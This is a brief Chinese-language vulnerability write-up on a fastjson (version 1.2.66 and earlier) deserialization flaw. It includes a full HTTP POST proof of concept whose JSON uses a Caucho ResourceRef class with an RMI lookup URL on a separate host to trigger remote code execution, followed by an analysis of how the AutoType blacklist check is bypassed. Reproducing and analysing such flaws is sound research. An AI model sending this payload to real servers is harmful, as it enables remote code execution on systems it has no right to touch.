0x01 漏洞背景
fastjson<= 1.2.66
0x02 漏洞復現
poc:
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115
{
"@type":"com.caucho.config.types.ResourceRef",
"LookupName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit"
}
0x03 漏洞分析
在開啟AutoType之后,會先過白名單,若在白名單之中,則直接加載該類。若不在白名單,且不在黑名單中則加載該類,若在黑名單中則直接拋出異常。
發送poc
解析
checkAutoType進行類名檢查
黑白名單檢查
說白了就是,因為開啟了AutoTypeSupport之后,會進入黑白名單檢查,但這個類不在黑名單檢測當中所以在黑白名單之后加載該類。
進入deserialize方法進行發序列化操作
最終跟到setvalue
前面的分析也講過,當fastjson進行反序列化時會調用該對象的set方法進行屬性賦值,調用get方法進行值的獲取。如本文中的poc是LookupName,所以會對應調用該類的setLookupName方法。
最終在調用getValue獲取value屬性的時候,剛剛好觸發了lookup方法,且參數可控,為我們設置的LookupName的rmi鏈接
從而造成了遠程命令執行。
0x04 參考